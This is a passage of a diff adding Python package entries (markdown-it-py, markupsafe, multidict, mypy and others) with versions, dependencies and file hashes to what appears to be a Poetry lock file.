"markdown-it-py" +version = "3.0.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +optional = false +python-versions = ">=3.8" +files = [ + {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, + {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +code-style = ["pre-commit (>=3.0,<4.0)"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins"] +profiling = ["gprof2dot"] +rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] + +[[package]] +name = "markupsafe" +version = "2.1.3" +description = "Safely add untrusted strings to HTML/XML markup." +optional = false +python-versions = ">=3.7" +files = [ + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win32.whl", hash = "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win32.whl", hash = "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win32.whl", hash = "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win_amd64.whl", hash = "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win32.whl", hash = "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl", hash = "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win32.whl", hash = "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win_amd64.whl", hash = "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba"}, + {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"}, +] + +[[package]] +name = "mccabe" +version = "0.7.0" +description = "McCabe checker, plugin for flake8" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, + {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "miniopy-async" +version = "1.15" +description = "Asynchronous MinIO Python Client API" +optional = false +python-versions = ">3.6" +files = [ + {file = "miniopy-async-1.15.tar.gz", hash = "sha256:f2ee438373eb2c60bda6363ffbc28ca27f4d871089ea65a02e09896864f3d72f"}, + {file = "miniopy_async-1.15-py3-none-any.whl", hash = "sha256:9872e9168f45d9f4b828e7764163949f71d68f4f0cba2c22bc31f9856d1ed17e"}, +] + +[package.dependencies] +aiofile = "*" +aiohttp = "*" +certifi = "*" +urllib3 = "*" + +[[package]] +name = "multidict" +version = "6.0.4" +description = "multidict implementation" +optional = false +python-versions = ">=3.7" +files = [ + {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"}, + {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"}, + {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a2e4369eb3d47d2034032a26c7a80fcb21a2cb22e1173d761a162f11e562caa5"}, + {file = "multidict-6.0.4-cp310-cp310-win32.whl", hash = "sha256:574b7eae1ab267e5f8285f0fe881f17efe4b98c39a40858247720935b893bba8"}, + {file = "multidict-6.0.4-cp310-cp310-win_amd64.whl", hash = "sha256:4dcbb0906e38440fa3e325df2359ac6cb043df8e58c965bb45f4e406ecb162cc"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0dfad7a5a1e39c53ed00d2dd0c2e36aed4650936dc18fd9a1826a5ae1cad6f03"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:64da238a09d6039e3bd39bb3aee9c21a5e34f28bfa5aa22518581f910ff94af3"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ff959bee35038c4624250473988b24f846cbeb2c6639de3602c073f10410ceba"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01a3a55bd90018c9c080fbb0b9f4891db37d148a0a18722b42f94694f8b6d4c9"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5cb09abb18c1ea940fb99360ea0396f34d46566f157122c92dfa069d3e0e982"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:666daae833559deb2d609afa4490b85830ab0dfca811a98b70a205621a6109fe"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11bdf3f5e1518b24530b8241529d2050014c884cf18b6fc69c0c2b30ca248710"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d18748f2d30f94f498e852c67d61261c643b349b9d2a581131725595c45ec6c"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:458f37be2d9e4c95e2d8866a851663cbc76e865b78395090786f6cd9b3bbf4f4"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:b1a2eeedcead3a41694130495593a559a668f382eee0727352b9a41e1c45759a"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7d6ae9d593ef8641544d6263c7fa6408cc90370c8cb2bbb65f8d43e5b0351d9c"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5979b5632c3e3534e42ca6ff856bb24b2e3071b37861c2c727ce220d80eee9ed"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dcfe792765fab89c365123c81046ad4103fcabbc4f56d1c1997e6715e8015461"}, + {file = "multidict-6.0.4-cp311-cp311-win32.whl", hash = "sha256:3601a3cece3819534b11d4efc1eb76047488fddd0c85a3948099d5da4d504636"}, + {file = "multidict-6.0.4-cp311-cp311-win_amd64.whl", hash = "sha256:81a4f0b34bd92df3da93315c6a59034df95866014ac08535fc819f043bfd51f0"}, + {file = "multidict-6.0.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:67040058f37a2a51ed8ea8f6b0e6ee5bd78ca67f169ce6122f3e2ec80dfe9b78"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853888594621e6604c978ce2a0444a1e6e70c8d253ab65ba11657659dcc9100f"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39ff62e7d0f26c248b15e364517a72932a611a9b75f35b45be078d81bdb86603"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af048912e045a2dc732847d33821a9d84ba553f5c5f028adbd364dd4765092ac"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e8b901e607795ec06c9e42530788c45ac21ef3aaa11dbd0c69de543bfb79a9"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62501642008a8b9871ddfccbf83e4222cf8ac0d5aeedf73da36153ef2ec222d2"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:99b76c052e9f1bc0721f7541e5e8c05db3941eb9ebe7b8553c625ef88d6eefde"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:509eac6cf09c794aa27bcacfd4d62c885cce62bef7b2c3e8b2e49d365b5003fe"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21a12c4eb6ddc9952c415f24eef97e3e55ba3af61f67c7bc388dcdec1404a067"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:5cad9430ab3e2e4fa4a2ef4450f548768400a2ac635841bc2a56a2052cdbeb87"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab55edc2e84460694295f401215f4a58597f8f7c9466faec545093045476327d"}, + {file = "multidict-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:5a4dcf02b908c3b8b17a45fb0f15b695bf117a67b76b7ad18b73cf8e92608775"}, + {file = "multidict-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:6ed5f161328b7df384d71b07317f4d8656434e34591f20552c7bcef27b0ab88e"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5fc1b16f586f049820c5c5b17bb4ee7583092fa0d1c4e28b5239181ff9532e0c"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1502e24330eb681bdaa3eb70d6358e818e8e8f908a22a1851dfd4e15bc2f8161"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b692f419760c0e65d060959df05f2a531945af31fda0c8a3b3195d4efd06de11"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45e1ecb0379bfaab5eef059f50115b54571acfbe422a14f668fc8c27ba410e7e"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ddd3915998d93fbcd2566ddf9cf62cdb35c9e093075f862935573d265cf8f65d"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:59d43b61c59d82f2effb39a93c48b845efe23a3852d201ed2d24ba830d0b4cf2"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc8e1d0c705233c5dd0c5e6460fbad7827d5d36f310a0fadfd45cc3029762258"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6aa0418fcc838522256761b3415822626f866758ee0bc6632c9486b179d0b52"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6748717bb10339c4760c1e63da040f5f29f5ed6e59d76daee30305894069a660"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4d1a3d7ef5e96b1c9e92f973e43aa5e5b96c659c9bc3124acbbd81b0b9c8a951"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4372381634485bec7e46718edc71528024fcdc6f835baefe517b34a33c731d60"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:fc35cb4676846ef752816d5be2193a1e8367b4c1397b74a565a9d0389c433a1d"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"}, + {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"}, + {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"}, + {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"}, + {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"}, + {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"}, +] + +[[package]] +name = "multivolumefile" +version = "0.2.3" +description = "multi volume file wrapper library" +optional = false +python-versions = ">=3.6" +files = [ + {file = "multivolumefile-0.2.3-py3-none-any.whl", hash = "sha256:237f4353b60af1703087cf7725755a1f6fcaeeea48421e1896940cd1c920d678"}, + {file = "multivolumefile-0.2.3.tar.gz", hash = "sha256:a0648d0aafbc96e59198d5c17e9acad7eb531abea51035d08ce8060dcad709d6"}, +] + +[package.extras] +check = ["check-manifest", "flake8", "flake8-black", "isort (>=5.0.3)", "pygments", "readme-renderer", "twine"] +test = ["coverage[toml] (>=5.2)", "coveralls (>=2.1.1)", "hypothesis", "pyannotate", "pytest", "pytest-cov"] +type = ["mypy", "mypy-extensions"] + +[[package]] +name = "mypy" +version = "0.971" +description = "Optional static typing for Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"}, + {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"}, + {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"}, + {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"}, + {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"}, + {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"}, + {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"}, + {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"}, + {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"}, + {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"}, + {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = 